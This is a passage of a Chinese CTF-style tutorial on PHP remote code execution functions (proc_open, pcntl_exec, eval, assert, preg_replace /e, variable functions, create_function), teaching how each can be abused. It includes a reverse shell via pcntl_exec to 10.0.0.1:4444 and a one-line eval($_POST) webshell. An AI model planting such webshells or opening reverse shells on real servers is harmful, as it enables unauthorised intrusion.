style=\"color:#B07D48;--shiki-dark:#BD976A\">pipes</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">fwrite</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">pipes</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">[</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">0</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">]</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">A</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">\\r\\n</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">fwrite</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">pipes</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">[</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">0</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">]</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">C</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">\\r\\n</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">fwrite</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">pipes</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">[</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">0</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">]</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">B</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">\\r\\n</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">fclose</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">pipes</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">[</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">0</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">]</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">output</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> fread</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">pipes</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">[</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">1</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">]</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">4096</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">error</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> stream_get_contents</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">pipes</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">[</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">2</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">]</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">var_dump</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">process</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br></span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">.</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">output</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br></span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">.</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">error</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/14.png\" class=\"\"></p>\n<p>sort这个命令后续详细再提，在这里它的功能是按首字母进行排序，这里不用flag.txt是因为根本不会去执行sort flag.txt这个命令，因为你传进去的数据作为标准输入，而不是命令行参数</p>\n<h2 id=\"pcntl_exec\"><a class=\"anchor\" href=\"#pcntl_exec\">#</a> pcntl_exec()</h2>\n<p><code>pcntl</code> 全称是 <strong>Process Control (进程控制)</strong>，直接调用了操作系统的核心系统调用（在 Linux 下底层就是 <code>execve</code>），它是专门为 <strong>Linux/Unix (POSIX 兼容)</strong> 系统设计的扩展，所以在windows环境下无法使用这个函数</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>pcntl_exec(string $path, array $args = [], array $env_vars = []);</span></span></code></pre>\n<ul>\n<li><strong>$path</strong>: 可执行文件的路径，或者包含解释器路径的脚本（如 #!/usr/bin/php）。</li>\n<li><strong>$args</strong>: 传递给程序的参数数组。</li>\n<li><strong>$env_vars</strong>: 传递给程序的环境变量数组，格式为 key =&gt; value。</li>\n</ul>\n<p>调用pcntl_exec后，当前进程会被替换为指定的程序，原进程的代码段、数据段和堆栈段都会被新程序替换，但进程号保持不变。</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">pcntl_exec</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">/bin/cat</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#998418;--shiki-dark:#B8A965\">array</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">flag.txt</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span></span></code></pre>\n<p>执行到pcntl_exec之后，php脚本会消散而被bash身份取代</p>\n<p>可以利用这个函数进行反弹shell：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">// PHP，请你立刻去死，并转生为一个连接10.0.0.1的Bash终端！</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">pcntl_exec</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">/bin/bash</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> array</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">-c</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">bash -i >&#x26; /dev/tcp/10.0.0.1/4444 0>&#x26;1</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span></span></code></pre>\n<h1 id=\"eval\"><a class=\"anchor\" href=\"#eval\">#</a> eval</h1>\n<p>eval这个东西不属于系统命令执行函数一类，他可以将参数作为php代码来执行，但他又不属于函数一类，而是与echo,if,while等一类的语言结构，就连disable_function都限制不了</p>\n<p>对于eval的应用还是特别常见的：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> @</span><span style=\"color:#998418;--shiki-dark:#B8A965\">eval</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_POST</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">cmd</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">]</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">  //一句话木马</span></span></code></pre>\n<p>当我们传入：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>cmd=ls</span></span>\n<span class=\"line\"><span>cmd=cat flag</span></span></code></pre>\n<p>就能实现目录穿越和文件查看了</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">highlight_file</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">__FILE__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">eval</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">system(\"sort flag.txt\");</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/15.png\" class=\"\"></p>\n<h1 id=\"assert\"><a class=\"anchor\" href=\"#assert\">#</a> assert</h1>\n<p>assert，翻译叫做断言，属于一个标准函数</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>assert($a==1)</span></span>\n<span class=\"line\"><span>如果$a的确等于1，那就不会发生什么，反之报错退出</span></span></code></pre>\n<p>但如果<strong>assert里面的内容不是判断语句</strong>，那么他就会像eval一样把字符串当作php代码执行。</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">highlight_file</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">__FILE__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">assert</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">system(\"sort flag.txt\");</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/16.png\" class=\"\"></p>\n<h1 id=\"preg_replace\"><a class=\"anchor\" href=\"#preg_replace\">#</a> preg_replace</h1>\n<p>这个函数原本是用来做正则表达式搜索和替换的：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">highlight_file</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">__FILE__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">flag</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">flag&#123;2L47yY&#125;</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> preg_replace</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"/</span><span style=\"color:#AB5E3F;--shiki-dark:#C4704F\">flag</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">/\"</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">ZLARYY</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">,$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">flag</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">//将$flag中的flag替换为ZLARYY</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/17.png\" class=\"\"></p>\n<p>不过在\\e修饰下的preg_replace函数，php不会把替换后的内容当作普通字符串，而是当作php代码执行</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">highlight_file</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">__FILE__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">flag</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">flag&#123;2L47yY&#125;</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;pre></span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">preg_replace</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"/</span><span style=\"color:#AB5E3F;--shiki-dark:#C4704F\">.</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">*</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">/e\"</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">system('type  flag.txt');</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">,$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">flag</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">//.表示任意一个字符，*表示重复0次或无数次</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/18.png\" class=\"\"></p>\n<p>这里输出两次是由于preg_replace进行了两次替换，第二次替换是将$flag字符串末尾的空字符替换了。</p>\n<p><strong>注意：替换后的内容现需要有返回值 ，否则会出现报错</strong></p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">highlight_file</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">__FILE__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">flag</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">flag&#123;2L47yY&#125;</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">preg_replace</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"/</span><span style=\"color:#AB5E3F;--shiki-dark:#C4704F\">.</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">*</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">/e\"</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">echo 1</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">,$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">flag</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/19.png\" class=\"\"></p>\n<p>这是由于我无法把echo 1赋值给一个变量，所以需要system函数提供返回值</p>\n<h1 id=\"php可变函数\"><a class=\"anchor\" href=\"#php可变函数\">#</a> php可变函数</h1>\n<p>php可变函数源自于php中的一个规则：如果在一个变量的后面加上一对圆括号 <code>()</code>，PHP 就会自动去寻找与这个变量的值同名的函数，并尝试执行它，<strong>注意：找的是同名函数，eval和echo这种语言结构不适用</strong></p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">highlight_file</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">__FILE__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">func</span><span style=\"color:#999999;--shiki-dark:#666666\">=$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_GET</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">a</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">arg</span><span style=\"color:#999999;--shiki-dark:#666666\">=$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_GET</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">b</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">func</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">arg</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/20.png\" class=\"\"></p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>$func->system $arg->'type flag.txt'理解起来不难，最后一行代码变成了system('type flag.txt');</span></span></code></pre>\n<h1 id=\"create_function\"><a class=\"anchor\" href=\"#create_function\">#</a> create_function</h1>\n<p>create_function最开始作用是创建函数：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">highlight_file</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">__FILE__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span 